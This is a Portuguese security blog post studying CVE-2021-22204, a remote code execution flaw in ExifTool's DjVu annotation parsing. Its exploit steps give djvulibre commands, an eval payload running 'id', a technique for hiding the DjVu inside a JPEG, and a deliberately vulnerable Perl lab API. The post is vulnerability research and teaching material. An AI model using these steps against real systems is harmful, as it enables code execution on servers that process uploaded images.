Code Fighters

Um caso de estudo sobre a CVE-2021-22204 – Exiftool RCE

Recentemente o pesquisador wcbowling [1] encontrou uma vulnerabilidade na ferramenta ExifTool que permitia RCE. Ele encontrou essa vulnerabilidade durante uma busca por bugs no programa de bug bounty do Gitlab[10]. Eles a utilizam como dependência em uma parte do produto.

Você pode ouvir a nossa versão em aúdio desse Blogpost:

O Exiftool [2] é uma ferramenta e lib feita em Perl, que tem como objetivo extrair metadados de quase todo tipo de arquivo. Escolhemos essa CVE para estudo por ter sido encontrada em um programa de grande impacto e na data onde esse estudo foi feito ainda não havia exploit público para ela.

Esse artigo foi feito para mostrar como foi o nosso processo de estudo da vulnerabilidade para chegar até o exploit. Recentemente o autor escreveu um write-up detalhado sobre o processo e você pode encontrar esse material nos links de referência [11].

Gostaríamos também de agradecer ao @gustavorobertux pela ajuda, que tornou possível que o exploit fosse feito. Seu artigo sobre o exploit também está nos links de referência [12]

A vulnerabilidade

Ao ler a descrição da CVE, temos um forte direcionamento de como explorar o problema:

"Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image."[3]

A vulnerabilidade acontece quando o Exiftool tenta realizar o parsing de arquivos do tipo DjVu[4], mais especificamente no campo de anotações da estrutura do arquivo. Para fazer a análise, verificamos o patch da correção no Github[5]:

Posteriormente baixamos a versão vulnerável 12.23 e podemos verificar abaixo a função vulnerável:

Path: exiftool/lib/Image/ExifTool/DjVu.pmÉ possível notar que a versão vulnerável possuí uma verificação na linha 31, que é responsável por remover atributos que utilizam $ (variáveis em Perl) ou @ (Arrays), para garantir um certo nível de segurança, afinal o conteúdo é executado na linha 34 em uma chamada eval [9].

O Exploit

Para chegarmos até a função vulnerável, precisamos criar um arquivo DjVu válido, que contenha um “chunk” de anotações com o payload, que ao ser lido pelo eval execute nosso código em Perl. Para a criação do arquivo DjVu, utilizamos a ferramenta djvumake , da toolkit de manipulação de arquivos DjVu djvulibre [6].Também será utilizada a ferramenta bzz para comprimir o payload, assim ele não será legível dentro do arquivo DjVu. (caso alguém tente inspecionar o arquivo)

$ sudo apt install djvulibre-bin 
# Installs the required tools 

$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable

$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

O nosso arquivo payload terá o seguinte conteúdo:

(metadata "\c${system('id')};")

Quando abrimos o arquivo exploit.djvu com uma versão vulnerável do Exiftool o código do payload será executado:

Já temos então nosso exploit básico para o Exiftool. Mas um arquivo DjVu não é tão útil pois não é aceito em muitos lugares. Dessa forma, nosso próximo objetivo é colocar esse payload malicioso e executar nosso código utilizando um arquivo JPEG, e sabíamos que isso era possível pelas provas de conceito encontradas no Twitter [8]. Para isso utilizaremos o próprio exiftool. Precisamos inicialmente criar um arquivo de configuração para ser passado para ele. No nosso caso ele terá o nome configfile e terá o seguinte conteúdo:

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end%

Esse arquivo de configuração irá escrever uma tag criada por nós com o nome HasselbladExif, que será identificada dentro do arquivo pelos bytes 0xc51b , epodemos inserir ela dentro de qualquer arquivo. [7] Depois utilizamos esse arquivo e o exploit.djvu para inserir o DjVu malicioso dentro de um arquivo JPEG válido:

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg


# configfile = The name of our configuration file;
# -HasselbladExif = Tag name that are specified in the config file;
# exploit.djvu = Our exploit, previously made with djvumake;
# hacker.jpg = A valid JPEG file;

Agora temos um JPEG válido que executa nosso código quando é aberto pelo exiftool vulnerável:

Conclusão

Este estudo foi de grande importância pela quantidade de possibilidades de exploração. Existem vários modelos de negócio que utilizam aplicações que usam processamento de metadados, e em sua maioria utilizam o Exiftool como engine padrão. Para ilustrar uma aplicação utiliza o exiftool em seu back-end, desenvolvemos uma pequena API que recebe um arquivo como entrada, tenta extrair seus metadados e depois mostra a saída disso em JSON.

#!/usr/bin/env perl


use strict;
use warnings;
use Mojo::URL;
use Mojo::File;
use Mojo::UserAgent;
use UUID::Tiny ":std";
use Mojolicious::Lite -signatures;
use Image::ExifTool qw(:Public);


get "/" => sub ($request) {
    my $endpoint = $request -> param("endpoint");


    if (($endpoint) && (length($endpoint) <= 100)) { 
        my $url = Mojo::URL -> new($endpoint);


        if ($url -> scheme()) {
            my $userAgent  = Mojo::UserAgent -> new();
            my $getContent = $userAgent -> get($endpoint) -> result();


            if ($getContent -> is_success()) {
                my $file = $getContent -> body();
                
                my $generate = create_uuid_as_string(UUID_V4);
                my $path = Mojo::File -> new("files/$generate");
                
                $path = $path -> spurt($file);


                my $exifTool     = Image::ExifTool -> new();
                my $informations = $exifTool -> ImageInfo("files/$generate");


                if ($informations) {
                    return ($request -> render ( 
                        json => [{ 
                                date => $informations -> {FileModifyDate};,
                                mime => $informations -> {MIMEType},
                                type => $informations -> {FileType}
                        }]
                    ));
                }  
            }
        }
    }
    
    return ($request -> render (
        text => "<script>window.location='/?endpoint=https://www.cpan.org/misc/images/cpan.png'</script>"
    ));
};


app -> start();

No momento em que essa publicação foi escrita, a lib oficial do exiftool no Cpan: Image::ExiftTool continuava vulnerável. Logo, essa aplicação pode ser explorada a partir da imagem lida no parâmetro endpoint:

O código desse lab pode ser encontrado junto com um script feito para automatizar o processo de criação do exploit no nosso repositório: https://github.com/convisoappsec/CVE-2021-22204-exiftool/

Inscreva-se para receber conteúdo sobre AppSec selecionado por nossos experts

Referências

  1. https://twitter.com/wcbowling
  2. https://exiftool.org/
  3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204
  4. http://djvu.sourceforge.net/specs/djvu3changes.txt
  5. https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800
  6. http://djvu.sourceforge.net/doc/man/djvumake.html
  7. https://exiftool.org/TagNames/EXIF.html
  8. https://twitter.com/search?q=CVE-2021-22204&src=recent_search_click
  9. https://perldoc.perl.org/functions/eval
  10. https://hackerone.com/reports/1154542
  11. https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
  12. https://www.linkedin.com/pulse/poc-cve-2021-22204-gustavo-roberto-rodrigues-gon%25C3%25A7alves/
About author

Articles

Analista de Segurança de Informação que adora explorar códigos e segurança de baixo nível. Trabalha principalmente com pesquisa em vulnerabilidades na Conviso.
Related posts
Code FightersSem categoria

JSON WEB Tokens: Dicas e ataques para uma implementação segura

O JWT (JSON WEB Tokens) é um padrão aberto, documentado pela RFC-7519 que define como transmitir e…
Read more
Code Fighters

Dicas e truques para Pentest em API

Com o objetivo de possibilitar a comunicação entre diferentes plataformas, a utilização de APIs…
Read more
Code FightersProduto

A fantástica palavra de GraphQL

Tendo o GraphQL como estrela da publicação, precisamos contextualizar um pouco sobre o tema.
Read more

Deixe um comentário